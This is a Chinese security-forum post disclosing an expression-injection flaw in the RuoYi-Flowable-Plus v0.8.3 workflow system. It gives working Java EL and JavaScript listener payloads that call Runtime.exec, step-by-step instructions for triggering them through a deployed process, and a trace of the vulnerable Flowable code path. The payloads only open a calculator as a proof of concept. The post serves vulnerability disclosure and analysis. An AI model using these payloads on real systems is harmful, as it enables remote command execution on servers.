RuoYi-Flowable-Plus 0day表达式注入
tj 发表于 浙江 历史精选 4018浏览 · 2024-05-16 10:38

RuoYi-Flowable-Plus 0day表达式注入

使用版本:v0.8.3
下载地址:https://gitee.com/KonBAI-Q/ruoyi-flowable-plus
此系统为若依二开的,添加了Flowable流程引擎(Flowable是一个使用Java编写的轻量级业务流程引擎)。
后台存在表达式注入

利用方式

方法一使用java类):
条件1.需要公共无参构造函数因为使用了newinstance来实列化
    2.需要实现JavaDelegate接口存在excute函数

满足条件
类一org.flowable.engine.impl.test.NoOpServiceTask
添加name表达式 ${''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('calc.exe')}
类二
org.flowable.engine.impl.bpmn.listener.ScriptExecutionListener
添加一下两个变量选择表达式
scriptvar System = java.lang.Runtime.getRuntime().exec("calc");
languagejs

方法二 使用表达式或者代理表达式):
${''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('calc.exe')}

方法一(使用java类):
条件:1.需要公共无参构造函数(因为使用了newinstance来实列化)
2.需要实现JavaDelegate接口,存在excute函数
满足条件:
类一:org.flowable.engine.impl.test.NoOpServiceTask
添加name表达式: ${''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('calc.exe')}
新建表单并保存,

新增流程分类,

新增流程模型,

点击设计,

点击创建开始事件,并添加监听器,

设置监听器的内容,

在选择我们之前新建的表单,

保存流程,

流程模型新增成功后,需要点击部署,

新建流程点击发起,

随意输入值点击提交,命令执行成功,

类二:org.flowable.engine.impl.bpmn.listener.ScriptExecutionListener
script:var System = java.lang.Runtime.getRuntime().exec("calc");
language:js
将流程模型里面的监听器改为以下内容,

需要点击部署(不然流程模型没有被更改),

新建流程中发起,点击提交成功触发漏洞,

方法二 (使用表达式或者代理表达式):
${''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('calc.exe')}

点击部署后,发起流程,命令执行成功,

解析表达式流程

分析
使用java类(代理表达式分析于java类利用方式相似)
org.flowable.engine.impl.bpmn.listener.ListenerNotificationHelper#executeExecutionListeners

进入createClassDelegateExecutionListener函数,调用create函数,

进入create函数,创建一个ClassDelegate类,并将我们的监听器赋值到此类中,

返回到org.flowable.engine.impl.bpmn.listener.ListenerNotificationHelper#executeExecutionListeners,
执行ClassDelegate类notify函数,

最终执行到defaultInstantiateDelegate函数,实列化我们的监听器,

然后返回到DelegateExecutionListener的构造函数中,

再之后,返回到notify函数,执行notify函数,那么就应该调用的是DelegateExecutionListener类的notify函数,

注意,这里需要满足实现JavaDelegate接口或者ExcutionListener接口,

之后经过一系列函数调用,

最终解析表达式,命令执行成功,

使用表达式
org.flowable.engine.impl.bpmn.listener.ListenerNotificationHelper#executeExecutionListeners
这里直接创建ExpressionExecutionListener类,

然后调用ExpressionExecutionListener类的notify函数,最终解析表达式,命令执行成功,

附件:
  • RuoYi-Flowable-Plus.pdf 下载
1 条评论
某人
表情
可输入 255
hyy30291920
2025-03-24 01:32 0 回复
哥 这种框架里面要怎么分析啊 这个框架里面的触发点 org.flowable.engine.impl.bpmn.listener.ListenerNotificationHelper 这个类最前面是thread起的 方便加个v吗 老哥
目录